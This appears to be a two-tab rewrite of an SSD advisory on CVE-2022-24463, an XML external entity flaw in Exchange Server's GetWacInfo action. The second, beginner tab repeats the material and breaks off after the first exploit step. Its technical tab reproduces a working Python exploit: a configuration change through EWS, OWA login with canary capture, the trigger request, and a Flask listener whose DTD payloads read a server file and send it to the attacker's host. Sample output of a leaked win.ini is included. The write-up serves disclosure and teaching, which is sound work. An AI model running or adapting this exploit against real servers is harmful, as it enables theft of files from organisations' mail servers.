Skip to content
XXE Write-up Advanced

SSD Advisory – Exchange Server GetWacInfo Information Disclosure Vulnerability

The OneDriveProUtilities class in Exchange Server parsed the response from an attacker-controlled server with an unsafe XML processor, allowing external entities to be resolved. A low-privilege authenticated user could abuse this to make the server send requests and read files from the target host.

Alex Birnberg Follow

Published on ssd-disclosure.com

Find out how a flaw in Microsoft Exchange Server allows remote attackers to disclose sensitive information from the Exchange server.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

Microsoft Exchange Server exposes Outlook on the Web (OWA) actions that clients call to render attachments. One of those actions, GetWacInfo, is used when OWA needs to obtain a Web Application Companion (WAC) URL for a reference attachment, so the document can be opened or edited in the browser-based Office viewer. The action takes a URL and a provider type from the caller, resolves the provider through the user's attachment data provider configuration, and then asks the provider for a WAC token.

The flaw described here, tracked as CVE-2022-24463, sits in the OneDriveProUtilities class inside the Microsoft.Exchange.Clients.Owa2.Server assembly, specifically Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProUtilities. The class parses the response of an HTTP request with XmlDocument, and the request goes to a server the attacker controls. The affected versions listed are Exchange Server 2016 and Exchange Server 2019. The issue was reported to the SSD Secure Disclosure program by Alex Birnberg of Zymo Security, and Microsoft published patches through the update guide for CVE-2022-24463.

Setup

The precondition is a low-privilege user account on the Exchange server. The attacker needs control over that account's OWA attachment data provider configuration, which the report describes as fully modifiable by the attacker. The exploit program also needs a listener that is publicly reachable from the Exchange server, because the server will make HTTP requests back to it. The exploit is written in Python 3 and uses requests, requests_ntlm2 and Flask.

Finding it

The researcher traced the GetWacInfo OWA action down to the code that fetches a WAC token. The GetWacUrl method builds a token URL and then loads the HTTP response into an XmlDocument:

Text
internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
{
  string actionOrAppId = isEdit ? "2" : "4";
  if (isSPGetWacTokenEnabled)
  {
    actionOrAppId = (isEdit ? "1" : "0");
  }
  string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'";
  WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT");
  XmlDocument xmlDocument = new XmlDocument();
  OneDriveProUtilities.EndBudget(callContext);
  xmlDocument.Load(tokenRequestWebResponse.GetResponseStream()); // 1
  // ...
}

The endpoint URL is derived from the user's attachment data provider configuration, and the response body is parsed as XML. That is the shape of an XXE: whoever controls the endpoint controls the XML that XmlDocument.Load processes.

Exploitation

The call chain that reaches the vulnerable parse is short and each step is visible in the report.

  1. A wrapper method, also named GetWacUrl, calls the vulnerable overload and then formats the returned token into a URL:
Text
internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
{
  bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
  WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled); // 2
  string text = isEdit ? "OwaEdit" : "OwaView";
  return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[]
  {
    wacUrl.BaseUrl,
    wacUrl.Token,
    wacUrl.TokenTtl,
    text
  });
}
  1. CreateWacAttachmentTypeForReferenceAttachmentAsync calls it when webServiceUrl is set and the wacAction is not an authenticated WOPI action:
Text
protected static async Task<WacAttachmentType> CreateWacAttachmentTypeForReferenceAttachmentAsync(UserContext userContext, ICallContext callContext, AttachmentIdType attachmentIdType, string webServiceUrl, string contentUrl, WacAction wacAction, bool isInDraft, string providerType, string appId, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  bool isEdit = GetWacInfoBase.IsEditAction(wacAction);
  bool flag = GetWacInfoBase.IsAuthenticatedWopi(wacAction);
  // ...
  else if (!string.IsNullOrEmpty(webServiceUrl))
  {
    if (!flag)
    {
      // ...
      text = OneDriveProUtilities.GetWacUrl(callContext, userContext.LogonIdentity, webServiceUrl, contentUrl, isEdit, userContext.FeaturesManager); // 3
    }
  // ...
}
  1. GetResultForReferenceAttachmentAsync of the GetWacInfo class passes the endpoint URL through:
Text
private static async Task<WacAttachmentType> GetResultForReferenceAttachmentAsync(ICallContext callContext, UserContext userContext, string endpointUrl, string contentUrl, string providerType, WacAction wacAction, RequestDetailsLogger logger, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  GetWacInfoBase.LogReferenceAttachmentProperties(logger, endpointUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentServiceUrl, contentUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentUrl);
  return await GetWacInfoBase.CreateWacAttachmentTypeForReferenceAttachmentAsync(userContext, callContext, null, endpointUrl, contentUrl, wacAction, true, providerType, null, contentUrlType, shouldAclUser); // 4
}
  1. ExecuteAsync obtains the provider from the user request and then derives the endpoint URL that will be used for the vulnerable request:
Text
private static async Task<WacAttachmentType> ExecuteAsync(UserContext userContext, ICallContext callContext, string url, AttachmentDataProviderType providerType, WacAction wacAction, bool shouldAclUser)
{
  // ...
  AttachmentDataProvider provider = userContext.AttachmentDataProviderManager.GetProvider(callContext, providerType); // 5
  // ...
  wacAttachmentType = await GetWacInfo.GetResultForReferenceAttachmentAsync(callContext, userContext, GetWacInfo.GetEndpointUrl(url, attachmentPermissionLevel, provider), url, providerType.ToString(), wacAction, logger, attachmentPermissionLevel, shouldAclUser); // 6
  // ...
  return wacAttachmentType;
}
  1. DoInternalExecuteAsync and InternalExecute are the entry points. InternalExecute runs whenever the GetWacInfo OWA action is called:
Text
private static async Task<WacAttachmentType> DoInternalExecuteAsync(ICallContext callContext, string url, bool isEdit, AttachmentDataProviderType providerType, bool shouldAclUser)
{
  UserContext userContext = UserContextManager.GetUserContext(callContext.HttpContext, callContext.EffectiveCaller, true);
  // ...
  WacAction wacAction = isEdit ? WacAction.Edit : WacAction.View;
  return await GetWacInfo.ExecuteAsync(userContext, callContext, url, providerType, wacAction, shouldAclUser); // 7
}
Text
protected override async Task<WacAttachmentType> InternalExecute()
{
  return await GetWacInfo.DoInternalExecuteAsync(base.CallContext, this.url, base.IsEdit, this.providerType, this.shouldGrantAccess); // 8
}

Because OWA actions can be called with arbitrary parameters by any low-privilege user, the vulnerable code path can be triggered, which results in XML external entity processing.

The provider configuration matters here. Attachment providers are defined in the OWA.AttachmentDataProvider user configuration, which the attacker can modify. By default only MailboxAttachmentDataProvider is defined, but the configuration can be changed to include OneDriveProAttachmentDataProvider, which is disabled by default. The configuration used to enable it looks like this:

XML
<AttachmentDataProvider>
  <entry
    __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider"
    DocumentLibrary="Library"
    id="465b4e63-54c2-49d6-a99b-cab37fb799e3"
    type="OneDrivePro"
    displayName="OneDrivePro"
    isThirdPartyProvider="False"
  ></entry>
</AttachmentDataProvider>

The user configuration is loaded into the user context only once, when it is first used. A different configuration may be loaded when the user context is destroyed, for example on logout and login.

Step 1: Run the exploit

The exploit takes five arguments: url for the target, username and password for the low-privilege user, listener for the attacker machine's IP, and file for the path to leak. It runs an HTTP server to deliver the payload and that server must be publicly accessible. When it finishes, the leaked file is saved to the current directory and printed to the screen. In the example, C:/Windows/win.ini is saved as C__Windows_win.ini:

Bash
$ ./exploit.py --url https://[redacted] --username user --password p4ssw0rd. --listener [redacted] --file C:/Windows/win.ini
[*] Setting up...
[*] Triggering...
[*] Saving file "C:/Windows/win.ini"...
[*] Cleaning up...
[*] Done.
##############################################
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
##############################################

Step 2: Enable the OneDrivePro provider

The setup method writes the OWA.AttachmentDataProvider configuration through EWS UpdateUserConfiguration. The XML data is base64 encoded and placed in a SOAP envelope:

Python
  def setup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" DocumentLibrary="Library" id="465b4e63-54c2-49d6-a99b-cab37fb799e3" type="OneDrivePro" displayName="OneDrivePro" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))
    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

The request goes to /ews/Exchange.asmx with Content-type: text/xml; charset=utf-8. The code treats any status other than 500 as success.

Step 3: Authenticate to OWA and get a canary

The xxe method waits ten seconds, then posts credentials to /owa/auth.owa with allow_redirects=False. It expects a 302 that does not point to /owa/auth/logon.aspx. It then requests /ecp/ and reads the msExchEcpCanary cookie, which becomes the CSRF token:

Python
  def xxe(self):
    time.sleep(10)
    # Authenticate
    data = {
      'destination': '{}/owa/'.format(self.url),
      'flags': '4',
      'forcedownlevel': '0',
      'username': self.username,
      'password': self.password,
      'passwordText': '',
      'isUtf8': '1'
    }
    r = self.s.post('{}/owa/auth.owa'.format(self.url), data=data, allow_redirects=False)
    if r.status_code != 302 or r.headers['Location'].find('/owa/auth/logon.aspx') != -1:
      return False
    self.s.get('{}/ecp/'.format(self.url))
    if 'msExchEcpCanary' not in self.s.cookies:
      return False
    self.csrf_token = self.s.cookies['msExchEcpCanary']

Step 4: Trigger the GetWacInfo action

The action is called on /owa/service.svc with the Action: GetWacInfo header, the canary in X-OWA-CANARY, and a JSON body whose Url points at the attacker listener:

Python
    # Trigger XXE
    headers = {
      'Action': 'GetWacInfo',
      'X-OWA-CANARY': self.csrf_token,
      'Content-type': 'application/json; charset=utf-8'
    }
    data = {
      'request': {
        '__type': 'GetWacInfoRequest:#Exchange',
        'Url': 'http://{}:{}/'.format(self.options['listener'], self.options['port'])
      }
    }
    self.s.post('{}/owa/service.svc'.format(self.url), headers=headers, data=json.dumps(data))

Step 5: Serve the payload

The Flask listener answers four routes. /_api/contextinfo returns a GetContextWebInformation document pointing back at the listener:

Python
    def contextinfo():
      content = textwrap.dedent('''\
        <?xml version="1.0" encoding="UTF-8"?>
        <d:GetContextWebInformation xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
          <d:WebFullUrl>http://{}:{}</d:WebFullUrl>
        </d:GetContextWebInformation>
      '''.format(self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

The /_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path> route returns the XML that XmlDocument parses. It declares an external DTD and wraps the file contents in CDATA using parameter entities:

Python
    def payload(path):
      content = textwrap.dedent('''\
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % stuff SYSTEM "file:///{}">
      <!ENTITY % end "]]>">
      <!ENTITY % dtd SYSTEM "http://{}:{}/_api/cim20.dtd">
      %dtd;
      ]>
      <root></root>
      '''.format(self.file, self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

The /_api/cim20.dtd route builds the parameter entity that turns the file contents into a request to the listener:

Python
    def dtd():
      content = textwrap.dedent('''\
        <!ENTITY % payload "%start;%stuff;%end;">
        <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "http://{}:{}/_api?%payload;">'>
        %param1; %external;
        '''.format(self.options['listener'], self.options['port']))
      return Response(content)

The /_api route receives the exfiltrated content in the query string, strips the CDATA markers, writes the file and prints it:

Python
    def leak():
      content = unquote(request.query_string)
      if content.startswith('<![CDATA['):
        content = content[9:]
      if content.endswith(']]>'):
        content = content[:-3]
      def end():
        time.sleep(5)
        print('[*] Cleaning up...')
        self.cleanup()
        print('[*] Done.')
        print('')
        print('##############################################')
        print('')
        print(content)
        print('')
        print('##############################################')
        os._exit(0)
      filename = re.sub('[^A-Za-z0-9\.]', '_', self.file)
      print('[*] Saving file "{}"...'.format(self.file, filename))
      with open(filename, 'w') as f:
        f.write(content)
      threading.Thread(target=end).start()
      return Response('')

The routes are registered and the trigger runs in a background thread while Flask serves:

Python
    app = Flask(__name__)
    app.add_url_rule('/_api/contextinfo', 'contextinfo', contextinfo, methods=['POST'])
    app.add_url_rule('/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path>', 'payload', payload)
    app.add_url_rule('/_api/cim20.dtd', 'dtd', dtd, methods=['GET'])
    app.add_url_rule('/_api', 'leak', leak, methods=['GET'])
    logging.getLogger('werkzeug').setLevel(logging.ERROR)
    cli = sys.modules['flask.cli']
    cli.show_server_banner = lambda *x: None
    threading.Thread(target=self.xxe).start()
    app.run(host=self.options['host'], port=self.options['port'])

Step 6: Clean up

After the leak, cleanup restores the default MailboxAttachmentDataProvider configuration through the same EWS call:

Python
  def cleanup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.MailboxAttachmentDataProvider" id="c7b0c1e5-345f-4725-bc1f-ec032984899d" type="Mailbox" displayName="Recent attachments" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))
    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

Root cause

The mistake is that GetWacUrl passes an attacker-controlled endpoint URL into GetTokenRequestWebResponse and then feeds the response stream straight into XmlDocument.Load. The unsafe usage of XmlDocument means a response containing a DOCTYPE with external parameter entities is processed, and the file contents are sent to the attacker's server. The provider configuration is also attacker-writable, which lets the attacker enable OneDriveProAttachmentDataProvider and reach the vulnerable path.

Impact

An attacker with control over a low-privilege user account can send arbitrary requests and exfiltrate files from the target server. The exploit example leaks C:/Windows/win.ini. The listener must be reachable from the Exchange server for the exfiltration to work.

Fix

Microsoft released patches for the supported versions through the update guide for CVE-2022-24463. The report does not describe the code change itself.

Variants to test

  1. Other OWA actions that take a URL parameter and fetch it server-side. A positive result is a request from the Exchange server to your listener.
  2. Other attachment provider types in OWA.AttachmentDataProvider. A positive result is a provider that reaches a code path which parses a remote response as XML.
  3. The isSPGetWacTokenEnabled branch, which uses a different token URL format. A positive result is the same external entity resolution on that branch.
  4. Any endpoint that loads a response with XmlDocument without disabling DTD processing. A positive result is a callback to your listener containing file contents.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

Microsoft Exchange Server is the email and calendar server many companies run. Besides sending mail, it offers a webmail interface called Outlook on the Web (OWA), which you open in a browser. OWA can show attachments, and some attachments are not files stored in the mailbox but links to documents kept elsewhere, for example in OneDrive or SharePoint. Those are called reference attachments.

To display such a document in the browser, OWA needs a special link from a service called WAC (Web Application Companion), the browser-based Office viewer. OWA asks the Exchange server for that link through an internal action named GetWacInfo. The server then contacts the storage service that holds the document and asks it for a token, a short-lived pass that allows the viewer to open the file.

The bug, tracked as CVE-2022-24463, is in the part of Exchange that handles this request for OneDrive-style storage. When the server receives the answer from the storage service, it reads it as XML, a text format for structured data. The problem is that the server parses that answer with XmlDocument in an unsafe way, which allows external entities to be processed. An attacker who can log in with an ordinary, low-privilege account can therefore point the server at a machine the attacker controls, hand it a crafted XML answer, and make the server read a file from its own disk and send the contents back to the attacker.

This class of bug is called XXE, short for XML External Entity. The everyday comparison: imagine a form that says "write your name here", and you write "the name written on the note in the manager's drawer". A well-behaved form filler writes down your words. A careless one goes to the drawer, reads the note and copies its contents onto the form. XML external entities are exactly that instruction to go and fetch something from elsewhere, and a parser that follows them will happily read local files or make network requests on your behalf.

The report was written up by Alex Birnberg of Zymo Security and reported through the SSD Secure Disclosure program. The affected versions listed are Exchange Server 2016 and Exchange Server 2019. Microsoft published patches, linked from the update guide for CVE-2022-24463.

The pieces you need to know

Before walking through the code, here are the concepts that come up, explained from zero.

  • Server and client. The Exchange server is the program running on a company machine. The client is whatever talks to it: your browser, or a script. In this attack the attacker's script is the client, and the Exchange server is the target.
  • HTTP request and response. The language browsers and servers speak. The client sends a request (a method such as GET or POST, a path such as /owa/, some headers and maybe a body), and the server sends back a response with a status code (200 means fine, 302 means "look elsewhere", 500 means server error) and a body.
  • API. An interface meant for programs rather than people. Instead of a web page with buttons, an API accepts a structured request and returns structured data. OWA's service.svc endpoint is an API: the browser's JavaScript calls it to fetch things without reloading the page.
  • Endpoint and URL. An endpoint is a specific address on a server where one function lives, for example /owa/service.svc. A URL is the full address, including the server name.
  • Cookie. A small piece of text a server asks your browser to store and send back with every later request, so the server can recognise you. It is how a login survives from page to page.
  • Token and canary. A token is a value that proves you are allowed to do something, like a cloakroom ticket. A CSRF token (here called a canary) is a value the server gives you and expects back on state-changing requests, to prove the request really came from your session and not from a malicious page that borrowed your cookie. CSRF stands for Cross-Site Request Forgery.
  • NTLM. A Microsoft login scheme. The exploit library requests_ntlm2 lets a Python script authenticate to Exchange the same way a Windows client would.
  • EWS and SOAP. EWS (Exchange Web Services) is Exchange's older API for mail, calendar and settings. SOAP is an XML envelope format used to send those calls. A SOAP message is just XML with a header and a body.
  • Base64. A way to turn arbitrary text or bytes into plain letters and digits so they can be embedded safely inside another format. It is not encryption; anyone can decode it.
  • XML, DTD and entity. XML marks up data with tags like <name>value</name>. A DTD (Document Type Definition) is an optional block at the top of an XML document that declares shortcuts called entities. &name; in the body is replaced by whatever the DTD says. An external entity is one whose replacement is fetched from a file or a URL.
  • XXE. The vulnerability that arises when a parser processes those external entities in documents it should not trust. Consequences include reading local files, making requests from the server, and in some setups denial of service.
  • CDATA. A section of XML, written <![CDATA[ ... ]]>, whose contents are treated as raw text and not parsed as tags. Useful when you want to carry a file's contents, which may contain < and &, without breaking the XML.
  • Parameter entity. An entity declared with % that can only be used inside a DTD. It is the building block that lets an attacker assemble a malicious declaration piece by piece.
  • Listener. The attacker's own server, waiting for connections. Here it both serves the malicious XML and receives the stolen file.
  • Flask. A small Python web framework, used here to build the listener.
  • Assembly and class. In .NET (the platform Exchange is written on), an assembly is a compiled code file, and a class is a named bundle of code inside it. The vulnerable class is Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProUtilities inside the Microsoft.Exchange.Clients.Owa2.Server assembly.
  • Attachment data provider. Exchange's name for the pluggable piece of code that knows how to talk to a particular storage service. The default one is MailboxAttachmentDataProvider (files in the mailbox). OneDriveProAttachmentDataProvider talks to OneDrive-style storage and is disabled by default.
  • User configuration. Per-user settings stored on the server. The one relevant here is named OWA.AttachmentDataProvider and lists which providers the user has.

Setup: what the attacker needs

The precondition is a low-privilege user account on the Exchange server. No administrator rights are needed. The attacker needs to be able to change that account's OWA.AttachmentDataProvider configuration, which the report describes as fully modifiable by the attacker. The attacker also needs a listener that the Exchange server can reach over the network, because the server will make HTTP requests back to it. The exploit is written in Python 3 and uses the requests, requests_ntlm2 and Flask libraries.

Finding it: where the bug lives

The researcher followed the GetWacInfo OWA action down to the code that fetches the WAC token. The GetWacUrl method builds a token URL and then loads the HTTP response into an XmlDocument:

Text
internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
{
  string actionOrAppId = isEdit ? "2" : "4";
  if (isSPGetWacTokenEnabled)
  {
    actionOrAppId = (isEdit ? "1" : "0");
  }
  string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'";
  WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT");
  XmlDocument xmlDocument = new XmlDocument();
  OneDriveProUtilities.EndBudget(callContext);
  xmlDocument.Load(tokenRequestWebResponse.GetResponseStream()); // 1
  // ...
}

Line by line:

  1. The method signature takes an endPointUrl, a documentUrl, and flags for whether the user wants to edit and whether a particular SharePoint token mode is enabled.
  2. actionOrAppId is a small code number that tells the storage service what the user intends to do. It is "2" for edit and "4" for view, or "1" and "0" when the SharePoint token mode is on.
  3. getWacTokenUrlFormat is a template for the URL that will be called on the storage service. {0} is the endpoint, {1} the document, {2} the action code. Which of the two templates is used depends on the SharePoint token mode.
  4. GetTokenRequestWebResponse performs the HTTP request and returns the response.
  5. new XmlDocument() creates an XML parser object.
  6. xmlDocument.Load(...) feeds the response body into that parser. This is the marked line // 1, and it is the heart of the bug.

The endpoint URL is derived from the user's attachment data provider configuration, and the response body is parsed as XML. That is the shape of an XXE: whoever controls the endpoint controls the XML that XmlDocument.Load processes.

Exploitation: the call chain

The path from the public OWA action to the vulnerable parse is short, and each step is visible in the report.

  1. A wrapper method, also named GetWacUrl, calls the vulnerable overload and then formats the returned token into a URL:
Text
internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
{
  bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
  WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled); // 2
  string text = isEdit ? "OwaEdit" : "OwaView";
  return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[]
  {
    wacUrl.BaseUrl,
    wacUrl.Token,
    wacUrl.TokenTtl,
    text
  });
}

This wrapper reads a server-wide setting to decide whether the SharePoint token mode is on, then calls the method above (marked // 2). It takes the base URL, token and token lifetime that came back and glues them into a single link with access_token, access_token_ttl and sc parameters. That link is what the browser viewer would use.

  1. CreateWacAttachmentTypeForReferenceAttachmentAsync calls it when webServiceUrl is set and the wacAction is not an authenticated WOPI action:
Text
protected static async Task<WacAttachmentType> CreateWacAttachmentTypeForReferenceAttachmentAsync(UserContext userContext, ICallContext callContext, AttachmentIdType attachmentIdType, string webServiceUrl, string contentUrl, WacAction wacAction, bool isInDraft, string providerType, string appId, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  bool isEdit = GetWacInfoBase.IsEditAction(wacAction);
  bool flag = GetWacInfoBase.IsAuthenticatedWopi(wacAction);
  // ...
  else if (!string.IsNullOrEmpty(webServiceUrl))
  {
    if (!flag)
    {
      // ...
      text = OneDriveProUtilities.GetWacUrl(callContext, userContext.LogonIdentity, webServiceUrl, contentUrl, isEdit, userContext.FeaturesManager); // 3
    }
  // ...
}

Here the code works out whether the user wants to edit and whether the action is an authenticated WOPI action (WOPI is the protocol the Office viewer uses to talk to storage). If a webServiceUrl was supplied and the action is not authenticated WOPI, it calls the wrapper (marked // 3), passing the attacker-supplied webServiceUrl as the endpoint. The condition matters: the attacker must avoid the authenticated WOPI branch to reach the vulnerable one.

  1. GetResultForReferenceAttachmentAsync of the GetWacInfo class passes the endpoint URL through:
Text
private static async Task<WacAttachmentType> GetResultForReferenceAttachmentAsync(ICallContext callContext, UserContext userContext, string endpointUrl, string contentUrl, string providerType, WacAction wacAction, RequestDetailsLogger logger, AttachmentPermissionLevel contentUrlType, bool shouldAclUser)
{
  GetWacInfoBase.LogReferenceAttachmentProperties(logger, endpointUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentServiceUrl, contentUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentUrl);
  return await GetWacInfoBase.CreateWacAttachmentTypeForReferenceAttachmentAsync(userContext, callContext, null, endpointUrl, contentUrl, wacAction, true, providerType, null, contentUrlType, shouldAclUser); // 4
}

This method first writes the endpoint and content URLs to a log, then hands them to the previous method (marked // 4). It is a thin link in the chain: its job is to carry the endpoint from the request down to the code that fetches it.

  1. ExecuteAsync obtains the provider from the user request and then derives the endpoint URL that will be used for the vulnerable request:
Text
private static async Task<WacAttachmentType> ExecuteAsync(UserContext userContext, ICallContext callContext, string url, AttachmentDataProviderType providerType, WacAction wacAction, bool shouldAclUser)
{
  // ...
  AttachmentDataProvider provider = userContext.AttachmentDataProviderManager.GetProvider(callContext, providerType); // 5
  // ...
  wacAttachmentType = await GetWacInfo.GetResultForReferenceAttachmentAsync(callContext, userContext, GetWacInfo.GetEndpointUrl(url, attachmentPermissionLevel, provider), url, providerType.ToString(), wacAction, logger, attachmentPermissionLevel, shouldAclUser); // 6
  // ...
  return wacAttachmentType;
}

Two things happen here. First (marked // 5), the provider named in the request is looked up in the user's configuration. That is why the configuration has to be changed first: the default mailbox provider does not lead to the vulnerable code. Second (marked // 6), GetEndpointUrl turns the supplied URL into the endpoint using the chosen provider, and that endpoint is passed down the chain.

  1. DoInternalExecuteAsync and InternalExecute are the entry points. InternalExecute runs whenever the GetWacInfo OWA action is called:
Text
private static async Task<WacAttachmentType> DoInternalExecuteAsync(ICallContext callContext, string url, bool isEdit, AttachmentDataProviderType providerType, bool shouldAclUser)
{
  UserContext userContext = UserContextManager.GetUserContext(callContext.HttpContext, callContext.EffectiveCaller, true);
  // ...
  WacAction wacAction = isEdit ? WacAction.Edit : WacAction.View;
  return await GetWacInfo.ExecuteAsync(userContext, callContext, url, providerType, wacAction, shouldAclUser); // 7
}
Text
protected override async Task<WacAttachmentType> InternalExecute()
{
  return await GetWacInfo.DoInternalExecuteAsync(base.CallContext, this.url, base.IsEdit, this.providerType, this.shouldGrantAccess); // 8
}

The first method loads the caller's user context (their settings and identity), turns the edit flag into an action, and calls ExecuteAsync (marked // 7). The second is the framework hook that OWA invokes for the action; it simply forwards the request's URL, edit flag, provider type and access flag (marked // 8).

Because OWA actions can be called with arbitrary parameters by any low-privilege user, the vulnerable code path can be triggered, which results in XML external entity processing.

The provider configuration matters here. Attachment providers are defined in the OWA.AttachmentDataProvider user configuration, which the attacker can modify. By default only MailboxAttachmentDataProvider is defined, but the configuration can be changed to include OneDriveProAttachmentDataProvider, which is disabled by default. The configuration used to enable it looks like this:

XML
<AttachmentDataProvider>
  <entry
    __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider"
    DocumentLibrary="Library"
    id="465b4e63-54c2-49d6-a99b-cab37fb799e3"
    type="OneDrivePro"
    displayName="OneDrivePro"
    isThirdPartyProvider="False"
  ></entry>
</AttachmentDataProvider>

Each <entry> describes one provider. __PolymorphicConfiguration_Type names the .NET class to instantiate, type and displayName are the labels OWA shows, DocumentLibrary names the library to use, id is a unique identifier, and isThirdPartyProvider says whether it is an outside service. Adding this entry is what makes the vulnerable OneDrive code reachable.

The user configuration is loaded into the user context only once, when it is first used. A different configuration may be loaded when the user context is destroyed, for example on logout and login.

Step 1: Run the exploit

The exploit takes five arguments: url for the target, username and password for the low-privilege user, listener for the attacker machine's IP, and file for the path to leak. It runs an HTTP server to deliver the payload, and that server must be publicly accessible. When it finishes, the leaked file is saved to the current directory and printed to the screen. In the example, C:/Windows/win.ini is saved as C__Windows_win.ini:

Bash
$ ./exploit.py --url https://[redacted] --username user --password p4ssw0rd. --listener [redacted] --file C:/Windows/win.ini
[*] Setting up...
[*] Triggering...
[*] Saving file "C:/Windows/win.ini"...
[*] Cleaning up...
[*] Done.
##############################################
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
##############################################

